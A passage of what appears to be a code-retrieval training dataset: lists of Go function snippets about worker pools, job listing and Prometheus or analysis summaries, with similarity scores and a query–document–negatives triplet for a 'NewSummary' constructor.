response\n\t\treturn sender(res)\n\t}\n\n\tp := New(8, workerFn) // create workers pool\n\tcursor, err := p.Go(context.Background())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// send some records in\n\tgo func() {\n\t\tp.Submit(\"rec1\")\n\t\tp.Submit(\"rec2\")\n\t\tp.Submit(\"rec3\")\n\t\tp.Close() // all records sent\n\t}()\n\n\t// consume results\n\trecs, err := cursor.All(context.TODO())\n\tlog.Printf(\"%+v, %v\", recs, err)\n}", "func(s *RepoShift)GetAllWorkerShifts()([]ent.TableShifts,error){\n\n\tvar allShifts []ent.TableShifts\n\ts.DB.Find(&allShifts)\n\treturn allShifts,nil\n}", "func listJobs(w io.Writer, projectID string) error {\n\t// projectID := \"my-project-id\"\n\t// jobID := \"my-job-id\"\n\tctx := context.Background()\n\n\tclient, err := bigquery.NewClient(ctx, projectID)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"bigquery.NewClient: %w\", err)\n\t}\n\tdefer client.Close()\n\n\tit := client.Jobs(ctx)\n\t// List up to 10 jobs to demonstrate iteration.\n\tfor i := 0; i < 10; i++ {\n\t\tj, err := it.Next()\n\t\tif err == iterator.Done {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tstate := \"Unknown\"\n\t\tswitch j.LastStatus().State {\n\t\tcase bigquery.Pending:\n\t\t\tstate = \"Pending\"\n\t\tcase bigquery.Running:\n\t\t\tstate = \"Running\"\n\t\tcase bigquery.Done:\n\t\t\tstate = \"Done\"\n\t\t}\n\t\tfmt.Fprintf(w, \"Job %s in state %s\\n\", j.ID(), state)\n\t}\n\treturn nil\n}", "func (p *PoolManager) jmxWorker(wg *sync.WaitGroup) {\n\tfor job := range p.jobs {\n\t\t//srvlog.Info(\"Calling job.SendJMXRequest()\") // with: \" + fmt.Sprintf(\"%#v\", job))\n\t\toutput := JMXResponse{job, job.SendJMXRequest()}\n\t\tp.results <- output\n\t}\n\twg.Done()\n}", "func (c *Controller) RunningWorkers() int {\n\treturn c.numberOfRunningWorkers\n}", "func (m *workerManager) startWorkers(ctx context.Context, count int) {\n\tm.logger.Debug(\"Starting %d Global Bus workers\", count)\n\tfor i := 0; i < count; i++ {\n\t\tm.startWorker(ctx)\n\t}\n}", "func (app *App) StartWorkers() {\n\tlogger := app.Logger.With(\n\t\tzap.String(\"source\", \"app\"),\n\t\tzap.String(\"operation\", \"StartWorkers\"),\n\t)\n\n\tlog.D(logger, \"Starting workers...\")\n\tif app.Config.GetBool(\"webhooks.runStats\") {\n\t\tjobsStatsPort := app.Config.GetInt(\"webhooks.statsPort\")\n\t\tgo workers.StatsServer(jobsStatsPort)\n\t}\n\tworkers.Run()\n}", "func (s *AutoCommitBuilder) Workers(num int) *AutoCommitBuilder {\n\ts.numWorkers = num\n\treturn s\n}", "func (me *XsdGoPkgHasElems_GetBlockedWorkers) Walk() (err error) {\n\tif fn := WalkHandlers.XsdGoPkgHasElems_GetBlockedWorkers; me != nil {\n\t\tif fn != nil {\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tfor _, x := range me.GetBlockedWorkerses {\n\t\t\tif err = x.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tif fn != nil {\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}", "func (api *HWApi) SetWorkers(n int) {\n\tif n >= 100 {\n\t\tapi.workers = 100\n\t} else if n <= 0 {\n\t\tapi.workers = 1\n\t} else {\n\t\tapi.workers = n\n\t}\n}", "func (s *Server) RunWorkers() {\n\n\ts.shardWorkers = make([]*shardWorker, len(s.readyShards))\n\tfor i := 0; i < len(s.shardWorkers); i++ {\n\t\ts.shardWorkers[i] = &shardWorker{\n\t\t\tGCCHan: make(chan *GuildCreateEvt),\n\t\t\tStopChan: make(chan bool),\n\t\t\tserver: s,\n\t\t}\n\t\tgo s.shardWorkers[i].chunkQueueHandler()\n\t}\n\n\tgo s.eventQueuePuller()\n}", "func (ws *JWorkers) StartWorkers() {\n\tws.AddWorkers(ws.files)\n\tfor _, v := range ws.m {\n\t\tv.signalch <- syscall.SIGCONT\n\t}\n\tgo ws.signalHandler(ws.fileList)\n\tgo ws.maxRunHandler(ws.mr)\n}", "func GetList(w http.ResponseWriter, r *http.Request) {\n\tlist, err := watchlist.GetWatchList(r)\n\n\tif err != nil {\n\t\thttpext.AbortAPI(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\thttpext.JSON(w, list)\n}", "func (re *TCPLoop) goWorkers() {\n\tfor w := range re.workChan {\n\t\tre.handleRequest(w)\n\t}\n}", "func List(ctx context.Context) (err error) {\n\tif t.Status == constants.TaskStatusCreated {\n\t\t_, err = model.CreateJob(ctx, \"/\")\n\t\tif err != nil {\n\t\t\tlogrus.Panic(err)\n\t\t}\n\n\t\tt.Status = constants.TaskStatusRunning\n\t\terr = t.Save(ctx)\n\t\tif err != nil {\n\t\t\tlogrus.Panic(err)\n\t\t}\n\t}\n\n\t// Traverse already running but not finished object.\n\tp := \"\"\n\tfor {\n\t\to, err := model.NextObject(ctx, p)\n\t\tif err != nil {\n\t\t\tlogrus.Panic(err)\n\t\t}\n\t\tif o == nil {\n\t\t\tbreak\n\t\t}\n\n\t\toc <- o\n\t\tp = o.Key\n\t}\n\n\t// Traverse already running but not finished job.\n\tp = \"\"\n\tfor {\n\t\tj, err := model.NextJob(ctx, p)\n\t\tif err != nil {\n\t\t\tlogrus.Panic(err)\n\t\t}\n\t\tif j == nil {\n\t\t\tbreak\n\t\t}\n\n\t\tjwg.Add(1)\n\t\tjc <- j\n\t\tp = j.Path\n\t}\n\n\treturn\n}", "func AddWorkers(ctx *context.Context) {\n\tqid := ctx.ParamsInt64(\"qid\")\n\tmq := queue.GetManager().GetManagedQueue(qid)\n\tif mq == nil {\n\t\tctx.Status(http.StatusNotFound)\n\t\treturn\n\t}\n\tnumber := ctx.FormInt(\"number\")\n\tif number < 1 {\n\t\tctx.Flash.Error(ctx.Tr(\"admin.monitor.queue.pool.addworkers.mustnumbergreaterzero\"))\n\t\tctx.Redirect(setting.AppSubURL + \"/admin/monitor/queue/\" + strconv.FormatInt(qid, 10))\n\t\treturn\n\t}\n\ttimeout, err := time.ParseDuration(ctx.FormString(\"timeout\"))\n\tif err != nil {\n\t\tctx.Flash.Error(ctx.Tr(\"admin.monitor.queue.pool.addworkers.musttimeoutduration\"))\n\t\tctx.Redirect(setting.AppSubURL + \"/admin/monitor/queue/\" + strconv.FormatInt(qid, 10))\n\t\treturn\n\t}\n\tif _, ok := mq.Managed.(queue.ManagedPool); !ok {\n\t\tctx.Flash.Error(ctx.Tr(\"admin.monitor.queue.pool.none\"))\n\t\tctx.Redirect(setting.AppSubURL + \"/admin/monitor/queue/\" + strconv.FormatInt(qid, 10))\n\t\treturn\n\t}\n\tmq.AddWorkers(number, timeout)\n\tctx.Flash.Success(ctx.Tr(\"admin.monitor.queue.pool.added\"))\n\tctx.Redirect(setting.AppSubURL + \"/admin/monitor/queue/\" + strconv.FormatInt(qid, 10))\n}", "func Worker(mapf func(string, string) []KeyValue,\n\treducef func(string, []string) string) {\n\n\t// Your worker implementation here.\n\n\tworkID := RegisterWorker()\n\n\tfor {\n\t\ttask := RequestTask(workID)\n\t\tif !task.Alive {\n\t\t\tfmt.Printf(\"Worker get task is not alive, %d\\n\", workID)\n\t\t\treturn\n\t\t}\n\t\tDoTask(task, workID, mapf, reducef)\n\t}\n\n\n\n\t// uncomment to send the Example RPC to the master.\n\t// CallExample()\n\n}", "func (api *API) ListWorkerBindings(ctx context.Context, rc *ResourceContainer, params ListWorkerBindingsParams) (WorkerBindingListResponse, error) {\n\tif params.ScriptName == \"\" {\n\t\treturn WorkerBindingListResponse{}, errors.New(\"ScriptName is required\")\n\t}\n\n\tif rc.Level != AccountRouteLevel {\n\t\treturn WorkerBindingListResponse{}, ErrRequiredAccountLevelResourceContainer\n\t}\n\n\tif rc.Identifier == \"\" {\n\t\treturn WorkerBindingListResponse{}, ErrMissingAccountID\n\t}\n\n\turi := fmt.Sprintf(\"/accounts/%s/workers/scripts/%s/bindings\", rc.Identifier, params.ScriptName)\n\n\tvar jsonRes struct {\n\t\tResponse\n\t\tBindings []workerBindingMeta `json:\"result\"`\n\t}\n\tvar r WorkerBindingListResponse\n\tres, err := api.makeRequestContext(ctx, http.MethodGet, uri, nil)\n\tif err != nil {\n\t\treturn r, err\n\t}\n\terr = json.Unmarshal(res, &jsonRes)\n\tif err != nil {\n\t\treturn r, fmt.Errorf(\"%s: %w\", errUnmarshalError, err)\n\t}\n\n\tr = WorkerBindingListResponse{\n\t\tResponse: jsonRes.Response,\n\t\tBindingList: make([]WorkerBindingListItem, 0, len(jsonRes.Bindings)),\n\t}\n\tfor _, jsonBinding := range jsonRes.Bindings {\n\t\tname, ok := jsonBinding[\"name\"].(string)\n\t\tif !ok {\n\t\t\treturn r, fmt.Errorf(\"Binding missing name %v\", jsonBinding)\n\t\t}\n\t\tbType, ok := jsonBinding[\"type\"].(string)\n\t\tif !ok {\n\t\t\treturn r, fmt.Errorf(\"Binding missing type %v\", jsonBinding)\n\t\t}\n\t\tbindingListItem := WorkerBindingListItem{\n\t\t\tName: name,\n\t\t}\n\n\t\tswitch WorkerBindingType(bType) {\n\t\tcase WorkerDurableObjectBindingType:\n\t\t\tclass_name := jsonBinding[\"class_name\"].(string)\n\t\t\tscript_name := jsonBinding[\"script_name\"].(string)\n\t\t\tbindingListItem.Binding = WorkerDurableObjectBinding{\n\t\t\t\tClassName: class_name,\n\t\t\t\tScriptName: script_name,\n\t\t\t}\n\t\tcase WorkerKvNamespaceBindingType:\n\t\t\tnamespaceID := jsonBinding[\"namespace_id\"].(string)\n\t\t\tbindingListItem.Binding = WorkerKvNamespaceBinding{\n\t\t\t\tNamespaceID: namespaceID,\n\t\t\t}\n\t\tcase WorkerQueueBindingType:\n\t\t\tqueueName := jsonBinding[\"queue_name\"].(string)\n\t\t\tbindingListItem.Binding = WorkerQueueBinding{\n\t\t\t\tBinding: name,\n\t\t\t\tQueue: queueName,\n\t\t\t}\n\t\tcase WorkerWebAssemblyBindingType:\n\t\t\tbindingListItem.Binding = WorkerWebAssemblyBinding{\n\t\t\t\tModule: &bindingContentReader{\n\t\t\t\t\tapi: api,\n\t\t\t\t\tctx: ctx,\n\t\t\t\t\taccountID: rc.Identifier,\n\t\t\t\t\tparams: &params,\n\t\t\t\t\tbindingName: name,\n\t\t\t\t},\n\t\t\t}\n\t\tcase WorkerPlainTextBindingType:\n\t\t\ttext := jsonBinding[\"text\"].(string)\n\t\t\tbindingListItem.Binding = WorkerPlainTextBinding{\n\t\t\t\tText: text,\n\t\t\t}\n\t\tcase WorkerServiceBindingType:\n\t\t\tservice := jsonBinding[\"service\"].(string)\n\t\t\tenvironment := jsonBinding[\"environment\"].(string)\n\t\t\tbindingListItem.Binding = WorkerServiceBinding{\n\t\t\t\tService: service,\n\t\t\t\tEnvironment: &environment,\n\t\t\t}\n\t\tcase WorkerSecretTextBindingType:\n\t\t\tbindingListItem.Binding = WorkerSecretTextBinding{}\n\t\tcase WorkerR2BucketBindingType:\n\t\t\tbucketName := jsonBinding[\"bucket_name\"].(string)\n\t\t\tbindingListItem.Binding = WorkerR2BucketBinding{\n\t\t\t\tBucketName: bucketName,\n\t\t\t}\n\t\tcase WorkerAnalyticsEngineBindingType:\n\t\t\tdataset := jsonBinding[\"dataset\"].(string)\n\t\t\tbindingListItem.Binding = WorkerAnalyticsEngineBinding{\n\t\t\t\tDataset: dataset,\n\t\t\t}\n\t\tdefault:\n\t\t\tbindingListItem.Binding = WorkerInheritBinding{}\n\t\t}\n\t\tr.BindingList = append(r.BindingList, bindingListItem)\n\t}\n\n\treturn r, nil\n}" ]
[ "0.75559056", "0.7226931", "0.6998144", "0.6618659", "0.6598629", "0.63565457", "0.6347319", "0.6347319", "0.6347319", "0.6322651", "0.6317281", "0.63114697", "0.63114697", "0.63114697", "0.63114697", "0.63114697", "0.63114697", "0.63114697", "0.63114697", "0.63114697", "0.63114697", "0.63114697", "0.6307586", "0.6194593", "0.6162839", "0.60978466", "0.6077968", "0.60763806", "0.60626376", "0.5984427", "0.5961303", "0.5951665", "0.5904987", "0.57994974", "0.5794599", "0.57377696", "0.5702839", "0.5597437", "0.5570151", "0.55400157", "0.54984707", "0.54842514", "0.5448655", "0.5435064", "0.53885007", "0.5342642", "0.529797", "0.5283385", "0.5270688", "0.5262627", "0.5245429", "0.522782", "0.51540476", "0.514533", "0.51384974", "0.5123498", "0.512033", "0.51183456", "0.51079035", "0.5106214", "0.5085033", "0.5084299", "0.50765574", "0.5067781", "0.50608253", "0.5052588", "0.5045176", "0.50431645", "0.50418144", "0.50399977", "0.50365955", "0.50268763", "0.50181794", "0.5017208", "0.50147724", "0.50030667", "0.5000149", "0.4999255", "0.4998867", "0.49946478", "0.49929434", "0.49849144", "0.49845812", "0.49690342", "0.4963748", "0.49614757", "0.4958533", "0.4952787", "0.49398208", "0.49392635", "0.49381498", "0.49361813", "0.49340177", "0.4933299", "0.4931786", "0.49219155", "0.4918279", "0.49177647", "0.49167585", "0.4910646" ]
0.7243635
1
NewSummary creates a new tracing summary that can be passed to component constructors for adding traces.
func NewSummary() *Summary { return &Summary{} }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func NewSummary(namespace, subsystem, name, help string, labelMap map[string]string, objectives map[float64]float64) prometheus.Summary {\n\treturn prometheus.NewSummary(prometheus.SummaryOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: subsystem,\n\t\tName: name,\n\t\tHelp: help,\n\t\tConstLabels: labelMap,\n\t\tObjectives: objectives,\n\t},\n\t)\n}", "func NewSummary(subsystem, name string, tags []string, help string) Summary {\n\treturn NewSummaryWithOpts(subsystem, name, tags, help, DefaultOptions)\n}", "func NewTeamSummary()(*TeamSummary) {\n m := &TeamSummary{\n }\n m.SetAdditionalData(make(map[string]interface{}));\n return m\n}", "func NewSummary(subsystem, name, help string, labels []string, objectives map[float64]float64) *prometheus.SummaryVec {\n\treturn promauto.NewSummaryVec(\n\t\tprometheus.SummaryOpts{\n\t\t\tNamespace: namespace,\n\t\t\tSubsystem: subsystem,\n\t\t\tName: name,\n\t\t\tHelp: help,\n\t\t\tObjectives: objectives,\n\t\t},\n\t\tlabels,\n\t)\n}", "func NewSummary(a *Analysis, appliedRuleset *rulesets.AppliedRulesetSummary) *Summary {\n\tif a != nil {\n\t\trulesetName := \"N/A\"\n\t\trisk := \"high\"\n\t\tpassed := false\n\n\t\tif appliedRuleset != nil {\n\t\t\trisk, passed = appliedRuleset.SummarizeEvaluation()\n\n\t\t\tif appliedRuleset.RuleEvaluationSummary != nil && appliedRuleset.RuleEvaluationSummary.RulesetName != \"\" {\n\t\t\t\trulesetName = appliedRuleset.RuleEvaluationSummary.RulesetName\n\t\t\t}\n\t\t}\n\n\t\treturn &Summary{\n\t\t\tID: a.ID,\n\t\t\tAnalysisID: a.ID,\n\t\t\tTeamID: a.TeamID,\n\t\t\tBranch: a.Branch,\n\t\t\tDescription: a.Description,\n\t\t\tRisk: risk,\n\t\t\tSummary: \"\",\n\t\t\tPassed: passed,\n\t\t\tRulesetID: a.RulesetID,\n\t\t\tRulesetName: rulesetName,\n\t\t\tDuration: a.Duration,\n\t\t\tCreatedAt: a.CreatedAt,\n\t\t\tTriggerHash: a.TriggerHash,\n\t\t\tTriggerText: a.TriggerText,\n\t\t\tTriggerAuthor: a.TriggerAuthor,\n\t\t\tTrigger: \"source commit\",\n\t\t}\n\t}\n\n\treturn &Summary{}\n}", "func (ac *Accumulator) AddSummary(measurement string, fields map[string]interface{},\n\ttags map[string]string, t ...time.Time) {\n\t// as of right now metric always returns a nil error\n\tm, _ := metric.New(measurement, tags, fields, getTime(t), telegraf.Summary)\n\tac.AddMetric(m)\n}", "func (cm *customMetrics) AddSummary(\n\tnamespace, subsystem, name, help, internalKey string,\n\tmaxAge time.Duration, constLabels prometheus.Labels,\n\tobjectives map[float64]float64, ageBuckets, bufCap uint32) {\n\n\tcm.summaries[internalKey] = promauto.NewSummary(prometheus.SummaryOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: subsystem,\n\t\tName: name,\n\t\tHelp: help,\n\t\tMaxAge: maxAge,\n\t\tConstLabels: constLabels,\n\t\tObjectives: objectives,\n\t\tAgeBuckets: ageBuckets,\n\t\tBufCap: bufCap,\n\t})\n}", "func NewSummaryListener() Summary {\n\treturn Summary{triggerInterval: 10 * time.Second}\n}", "func NewLabelSummary(subsystem, name, help string, labels ...string) *prometheus.SummaryVec {\n\treturn prometheus.NewSummaryVec(\n\t\tprometheus.SummaryOpts{\n\t\t\tNamespace: namespace,\n\t\t\tSubsystem: subsystem,\n\t\t\tName: name,\n\t\t\tHelp: help,\n\t\t\tConstLabels: nil,\n\t\t}, labels)\n}", "func NewLabelSummary(subsystem, name, help string, labels ...string) *prometheus.SummaryVec {\n\treturn prometheus.NewSummaryVec(\n\t\tprometheus.SummaryOpts{\n\t\t\tNamespace: namespace,\n\t\t\tSubsystem: subsystem,\n\t\t\tName: name,\n\t\t\tHelp: help,\n\t\t\tConstLabels: nil,\n\t\t}, labels)\n}", "func newSummaryCache(retain time.Duration) *summaryCache {\n\treturn &summaryCache{\n\t\tretain: retain,\n\t\titems: make(map[string]*eventsStatementsSummaryByDigest),\n\t\tadded: make(map[string]time.Time),\n\t}\n}", "func NewApplicationSignInDetailedSummary()(*ApplicationSignInDetailedSummary) {\n m := &ApplicationSignInDetailedSummary{\n Entity: *NewEntity(),\n }\n return m\n}", "func NewSummaryNoOp() Summary {\n\treturn summaryNoOp{}\n}", "func NewSummaryBuilder() *SummaryBuilder {\n\tr := SummaryBuilder{\n\t\t&Summary{},\n\t}\n\n\treturn &r\n}", "func Summary(attrs []htmlgo.Attribute, children ...HTML) HTML {\n\treturn &htmlgo.Tree{Tag: \"summary\", Attributes: attrs, Children: children}\n}", "func (vs *ViolationStore) AddSummary(iacType, iacResourcePath string) {\n\n\tvs.Summary.IacType = iacType\n\tvs.Summary.ResourcePath = iacResourcePath\n\tvs.Summary.Timestamp = time.Now().UTC().String()\n}", "func ProvideSummary(o prometheus.SummaryOpts, labelNames ...string) fx.Annotated {\n\treturn fx.Annotated{\n\t\tName: o.Name,\n\t\tTarget: func(f Factory) (metrics.Histogram, error) {\n\t\t\treturn f.NewSummary(o, labelNames)\n\t\t},\n\t}\n}", "func (o *ProformaArray) SetSummary(v string) {\n\to.Summary = &v\n}", "func NewSummaryPayload(token string) *chatter.SummaryPayload {\n\tv := &chatter.SummaryPayload{}\n\tv.Token = token\n\treturn v\n}", "func Summary(s string) func(*Route) {\n\treturn func(r *Route) {\n\t\tr.summary = s\n\t}\n}", "func (tr *TimedRun) Summary() string {\n\tb := bytes.Buffer{}\n\n\ttr.cl.Lock()\n\tdefer tr.cl.Unlock()\n\tDefaultFormat.Execute(&b, tr.categories)\n\treturn b.String()\n}", "func (b *OperationMutator) Summary(v string) *OperationMutator {\n\tb.proxy.summary = v\n\treturn b\n}", "func (object Object) Summary(value string, language string) Object {\n\treturn object.Map(as.PropertySummary, value, language)\n}", "func (o *Invoice) SetSummary(v string) {\n\to.Summary = &v\n}", "func NewSummaryMetrics() *SummaryMetricsBuilder {\n\treturn &SummaryMetricsBuilder{}\n}", "func (m *Monitoring) Summary(w http.ResponseWriter, r *http.Request) {\n\tb, err := stats.Summary()\n\tif err != nil {\n\t\tError(w, http.StatusNotFound, err, \"failed to get metrics\")\n\t\treturn\n\t}\n\tJSON(w, http.StatusOK, b)\n}", "func NewWorkSummary() *WorkSummary {\n\treturn &WorkSummary{}\n}", "func (o *Operation) WithSummary(summary string) *Operation {\n\to.Operation.WithSummary(summary)\n\treturn o\n}", "func NewCloudPcBulkActionSummary()(*CloudPcBulkActionSummary) {\n m := &CloudPcBulkActionSummary{\n }\n m.backingStore = ie8677ce2c7e1b4c22e9c3827ecd078d41185424dd9eeb92b7d971ed2d49a392e.BackingStoreFactoryInstance();\n m.SetAdditionalData(make(map[string]any))\n return m\n}", "func (in *TestSummary) DeepCopy() *TestSummary {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(TestSummary)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "func (s *Summary) String() string {\n\tvar builder strings.Builder\n\tbuilder.WriteString(\"Summary(\")\n\tbuilder.WriteString(fmt.Sprintf(\"id=%v\", s.ID))\n\tbuilder.WriteString(\", title=\")\n\tbuilder.WriteString(s.Title)\n\tbuilder.WriteByte(')')\n\treturn builder.String()\n}", "func Create(w http.ResponseWriter, r *http.Request) {\n\tc := flight.Context(w, r)\n\n\tv := c.View.New(\"summary/create\")\n\tc.Repopulate(v.Vars, \"name\")\n\tv.Render(w, r)\n}", "func (d Detail) Summary() string {\n\treturn fmt.Sprintf(\"%+v\", d)\n}", "func NewDescribeBillSummarysRequestWithoutParam() *DescribeBillSummarysRequest {\n\n return &DescribeBillSummarysRequest{\n JDCloudRequest: core.JDCloudRequest{\n URL: \"/regions/{regionId}/describeBillSummarys\",\n Method: \"POST\",\n Header: nil,\n Version: \"v1\",\n },\n }\n}", "func (o *NotificationConfig) SetSummary(v string) {\n\to.Summary = &v\n}", "func (o *PkgTreeItem) SetSummary(v string) {\n\to.Summary = &v\n}", "func NewMockUnitSummaryAllocation(name string, start time.Time, resolution time.Duration, props *AllocationProperties) *SummaryAllocation {\n\tif name == \"\" {\n\t\tname = \"cluster1/namespace1/pod1/container1\"\n\t}\n\n\tproperties := &AllocationProperties{}\n\tif props == nil {\n\t\tproperties.Cluster = \"cluster1\"\n\t\tproperties.Node = \"node1\"\n\t\tproperties.Namespace = \"namespace1\"\n\t\tproperties.ControllerKind = \"deployment\"\n\t\tproperties.Controller = \"deployment1\"\n\t\tproperties.Pod = \"pod1\"\n\t\tproperties.Container = \"container1\"\n\t} else {\n\t\tproperties = props\n\t}\n\n\tend := start.Add(resolution)\n\n\talloc := &SummaryAllocation{\n\t\tName: name,\n\t\tProperties: properties,\n\t\tStart: start,\n\t\tEnd: end,\n\t\tCPUCost: 1,\n\t\tCPUCoreRequestAverage: 1,\n\t\tCPUCoreUsageAverage: 1,\n\t\tGPUCost: 1,\n\t\tNetworkCost: 1,\n\t\tLoadBalancerCost: 1,\n\t\tRAMCost: 1,\n\t\tRAMBytesRequestAverage: 1,\n\t\tRAMBytesUsageAverage: 1,\n\t}\n\n\t// If idle allocation, remove non-idle costs, but maintain total cost\n\tif alloc.IsIdle() {\n\t\talloc.NetworkCost = 0.0\n\t\talloc.LoadBalancerCost = 0.0\n\t\talloc.CPUCost += 1.0\n\t\talloc.RAMCost += 1.0\n\t}\n\n\treturn alloc\n}", "func (c Counts) Summary() string {\n\treturn c.string(Weights{I: 5, M: 4, S: 3, Pow: 2, ParamM: 1})\n}", "func NewBucketSummary() *BucketSummary {\n\tr := &BucketSummary{}\n\n\treturn r\n}", "func (in *TrialComponentSimpleSummary) DeepCopy() *TrialComponentSimpleSummary {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(TrialComponentSimpleSummary)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "func (s *ImportTask) SetSummary(v *ImportTaskSummary) *ImportTask {\n\ts.Summary = v\n\treturn s\n}", "func (o ApiOperationResponseHeaderExampleOutput) Summary() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ApiOperationResponseHeaderExample) *string { return v.Summary }).(pulumi.StringPtrOutput)\n}", "func NewSummaryHandler(w io.Writer) TestEventHandler {\n\treturn summaryHandler{w: w}\n}", "func NewParserSummaryMessage(statementCount, errorCount int, elapsedTime time.Duration) *ParserSummaryMessage {\n\treturn &ParserSummaryMessage{\n\t\tBaseMessage: message.NewBaseMessage(3),\n\t\tstatementCount: statementCount,\n\t\terrorCount: errorCount,\n\t\telapsedTime: elapsedTime,\n\t}\n}", "func (s *ExportTask) SetSummary(v *ExportTaskSummary) *ExportTask {\n\ts.Summary = v\n\treturn s\n}", "func NewDeviceHealthScriptRunSummary()(*DeviceHealthScriptRunSummary) {\n m := &DeviceHealthScriptRunSummary{\n Entity: *NewEntity(),\n }\n return m\n}", "func GetTestSummary(w http.ResponseWriter, r *http.Request) {\n\tlog.Printf(\"GetTestSummary\\n\")\n\n\t// Get rid of warning\n\t_ = r\n\n\t// Marshal array of struct\n\tcurrentTestSummariesJson, err := json.MarshalIndent(currentTestSummary, \"\", \" \")\n\tif err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"failed to write marshal currentTestEvaluation: %s\", err),\n\t\t\thttp.StatusInternalServerError)\n\t}\n\n\t_, err = fmt.Fprintf(w, string(currentTestSummariesJson))\n\tif err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"failed to write response: %s\", err),\n\t\t\thttp.StatusInternalServerError)\n\t}\n}", "func Summary(jsonIn []byte) ([]byte, error) {\n\tvar s summary\n\tkeycache.Refresh()\n\n\tif err := json.Unmarshal(jsonIn, &s); err != nil {\n\t\treturn jsonStatusError(err)\n\t}\n\n\tif passvault.NumRecords() == 0 {\n\t\treturn jsonStatusError(errors.New(\"Vault is not created yet\"))\n\t}\n\n\tif err := validateAdmin(s.Name, s.Password); err != nil {\n\t\tlog.Printf(\"Error validating admin status of %s: %s\", s.Name, err)\n\t\treturn jsonStatusError(err)\n\t}\n\n\treturn jsonSummary()\n}", "func (target *Target) Summary(spaceGUID string) (summary *Summary, err error) {\n\turl := fmt.Sprintf(\"%s/v2/spaces/%s/summary\", target.TargetUrl, spaceGUID)\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp, err := target.sendRequest(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdecoder := json.NewDecoder(resp.Body)\n\terr = decoder.Decode(&summary)\n\treturn\n}", "func PrintSummary(in *Summary) {\n\tfmt.Print(\"|---------------------------------------|\\n\")\n\theader := \"| %-30s | %s |\\n\"\n\tfmt.Printf(header, \"Count\", \"Type\")\n\tfmt.Print(\"|---------------------------------------|\\n\")\n\n\ttemplate := \"| %-30s | %4d |\\n\"\n\tfmt.Printf(template, keyDirect, len(in.direct))\n\tfmt.Printf(template, keyChild, len(in.child))\n\tfmt.Printf(template, keyStdLib, len(in.stdLib))\n\tfmt.Printf(template, keyExternal, len(in.external))\n\tfmt.Printf(template, keyVendored, len(in.vendored))\n\tfmt.Print(\"|---------------------------------------|\\n\")\n}", "func (i *Instance) Summary() string {\n\treturn fmt.Sprintf(`[%d](%s) %-15s %s`, i.Seq, i.Role, i.IP, i.Name)\n}", "func (o ApiOperationRequestHeaderExampleOutput) Summary() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ApiOperationRequestHeaderExample) *string { return v.Summary }).(pulumi.StringPtrOutput)\n}", "func (in *TrialComponentSummary) DeepCopy() *TrialComponentSummary {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(TrialComponentSummary)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "func WriteSummary(scope *Scope, writer tf.Output, step tf.Output, tensor tf.Output, tag tf.Output, summary_metadata tf.Output) (o *tf.Operation) {\n\tif scope.Err() != nil {\n\t\treturn\n\t}\n\topspec := tf.OpSpec{\n\t\tType: \"WriteSummary\",\n\t\tInput: []tf.Input{\n\t\t\twriter, step, tensor, tag, summary_metadata,\n\t\t},\n\t}\n\treturn scope.AddOperation(opspec)\n}", "func (s *Summary) String() string {\n\treturn fmt.Sprintf(\n\t\t\"\\n{Connections: %d, RequestRate: %d, RequestTotal: %d, SuccessTotal: %d, ErrorTotal: %d, TimeElapsed: %s, Throughput: %.2f/s}\",\n\t\ts.Connections, s.RequestRate, (s.SuccessTotal + s.ErrorTotal), s.SuccessTotal, s.ErrorTotal, s.TimeElapsed, s.Throughput)\n}", "func (e *Eval) LogSummary(log *log.Logger) {\n\tvar n int\n\ttype aggregate struct {\n\t\tN, Ncache int\n\t\tRuntime stats\n\t\tCPU, Memory, Disk, Temp stats\n\t\tRequested reflow.Resources\n\t}\n\tstats := map[string]aggregate{}\n\n\tfor v := e.root.Visitor(); v.Walk(); v.Visit() {\n\t\tif v.Parent != nil {\n\t\t\tv.Push(v.Parent)\n\t\t}\n\t\t// Skip nodes that were skipped due to caching.\n\t\tif v.State < Done {\n\t\t\tcontinue\n\t\t}\n\t\tswitch v.Op {\n\t\tcase Exec, Intern, Extern:\n\t\tdefault:\n\t\t\tcontinue\n\t\t}\n\n\t\tident := v.Ident\n\t\tif ident == \"\" {\n\t\t\tident = \"?\"\n\t\t}\n\t\ta := stats[ident]\n\t\ta.N++\n\t\tif v.Cached {\n\t\t\ta.Ncache++\n\t\t}\n\t\tif len(v.RunInfo.Profile) == 0 {\n\t\t\tn++\n\t\t\tstats[ident] = a\n\t\t\tcontinue\n\t\t}\n\t\tif v.Op == Exec {\n\t\t\ta.CPU.Add(v.RunInfo.Profile[\"cpu\"].Mean)\n\t\t\ta.Memory.Add(v.RunInfo.Profile[\"mem\"].Max)\n\t\t\ta.Disk.Add(v.RunInfo.Profile[\"disk\"].Max)\n\t\t\ta.Temp.Add(v.RunInfo.Profile[\"tmp\"].Max)\n\t\t\ta.Requested = v.RunInfo.Resources\n\t\t}\n\t\tif d := v.RunInfo.Runtime.Minutes(); d > 0 